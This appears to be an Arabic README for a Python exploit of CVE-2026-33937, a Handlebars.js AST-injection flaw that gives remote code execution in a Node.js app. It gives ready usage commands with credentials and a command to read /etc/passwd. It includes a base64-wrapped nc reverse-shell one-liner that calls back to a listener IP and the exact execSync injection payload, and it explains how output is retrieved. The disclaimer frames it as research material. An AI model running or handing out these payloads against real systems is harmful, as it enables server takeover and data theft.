
Python POC، استغلال (Exploit) لثغرة حقن AST في Handlebars.js تسمح بتنفيذ تعليمات برمجية عن بُعد (RCE). الإصدارات من 4.0.0 حتى 4.7.8 من Handlebars.js متأثرة. درجة CVSS: 9.8 حرجة.
الإصدارات من 4.0.0 حتى 4.7.8 من Handlebars.js متأثرة. درجة CVSS: 9.8 حرجة.
CVE-2026-33937 هو ثغرة من نوع الارتباك النمطي (type confusion) في Handlebars.js. تقبل دالة Handlebars.compile() كلاً من سلسلة القالب وكائن AST مُحلَّل مسبقًا كمدخلات. عندما يمرر المهاجم كائن AST مصممًا خصيصًا، يقوم زائر NumberLiteral الخاص بالمُترجم بإدراج حقل value الخاص بالعقدة حرفيًا في نص دالة JavaScript المُولَّدة دون أي تعقيم. يؤدي استدعاء render() على النتيجة إلى تنفيذ تعليمات برمجية يتحكم بها المهاجم داخل عملية Node.js.
python3 exploit.py --url <target> --username <email> --password <pass> --command <cmd>
الوسائط
--url — عنوان URL الأساسي للهدف، مثال: http://hello.veer/ (مطلوب)--username — البريد الإلكتروني لتسجيل الدخول (مطلوب)--password — كلمة مرور تسجيل الدخول (مطلوب)--command — أمر نظام التشغيل المطلوب تنفيذه، الافتراضي هو id (اختياري)أمثلة
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload> | base64 -d | bash'
ينفذ السكربت عملية تسجيل دخول كاملة قبل الاستغلال. يرسل أولاً طلب GET إلى /login لاستخراج رمز _csrf المخفي من النموذج، ثم يرسل هذا الرمز مع البريد الإلكتروني وكلمة المرور المُقدَّمين عبر طلب POST بترميز نموذج (form-encoded) إلى /login. عند النجاح، يعيد الخادم توجيهًا 302 إلى /dashboard ويضبط ملف تعريف الارتباط للجلسة dz.sid الذي يُستخدم في جميع الطلبات اللاحقة.
يتم جلب رمز CSRF جديد تلقائيًا قبل كل طلب POST لأن وسيط CSRF في التطبيق يتطلب رمزًا في كل عملية تُجري تغييرًا.
يوفّر التطبيق مسار POST /character الذي يقبل Content-Type: application/json. ينشئ هذا المسار شخصية D&D جديدة، وعندما يتم توفير campaign_id، يمرر حقل campaign_message مباشرة إلى Handlebars.compile() على الخادم:
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message); // no type check
const output = render({ name, race, class }); // payload executes here
// output is stored as a campaign log entry
عندما يكون جسم الطلب بصيغة JSON، يمكن أن يكون campaign_message كائنًا متداخلًا (شجرة AST) بدلاً من سلسلة نصية، متجاوزًا أي تحقق من السلاسل النصية على مستوى النموذج. يتسبب حقل campaign_id في قيام الخادم بتخزين النتيجة المُولَّدة كرسالة سجل حملة، والتي يمكن قراءتها بعد ذلك عبر GET /campaign/1 — مما يمنح المهاجم مخرجات أوامر خارج النطاق (out-of-band).
يستخدم الاستغلال NumberLiteral بالاشتراك مع المُساعد lookup.
التحويل البرمجي العادي لـ {{lookup this 1}} يُنتج:
env.helpers.lookup(this, 1, {options})
تستبدل القيمة المحقونة NumberLiteral.value الرقم 1 بـ:
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
يصبح كود JavaScript المُصدَر:
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>
عند استدعاء render()، يتم تشغيل execSync() ويُعاد مخرجه القياسي (stdout) كقيمة للتعبير، والتي تُخزَّن كرسالة حملة.
تُغلَّف الأوامر داخليًا بالصيغة /bin/sh -c 'cmd 2>&1' بحيث تعمل الأوامر التي تحتوي على مسافات وأنابيب وإعادة توجيه بشكل صحيح، ويتم التقاط الخطأ القياسي (stderr) إلى جانب المخرج القياسي (stdout).
يسجل السكربت عدد رسائل الحملة قبل إرسال الحمولة. بعد طلب POST، يجلب /campaign/1 مرة أخرى ويقتطع من messages[before_count:] لعزل الإدخال المضاف حديثًا. يتعامل هذا الأسلوب بشكل صحيح مع الحالات التي تم فيها تشغيل نفس الأمر من قبل، لأن المقارنة القائمة على المجموعات (set-based) كانت ستزيل تكرار المخرجات المتطابقة وتفوّت النتيجة الجديدة.
داخل ملف javascript-compiler.js في Handlebars.js، الكود القابل للاستغلال هو:
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
this.pushStackLiteral(number.value); // value inserted verbatim, no type check
}
يضيف الإصدار 4.7.9 فحصًا للنمط عند نقطة دخول compile() يرفض أي مدخلات ليست من نوع سلسلة نصية قبل الوصول إلى مولّد الكود:
// Patched in 4.7.9
if (typeof input !== 'string') {
throw new Handlebars.Exception(
'You must pass a string or Handlebars AST to Handlebars.compile.'
);
}
هذا المستودع مخصص حصريًا لأغراض البحث الأمني والتعليم. استخدم هذا الاستغلال فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.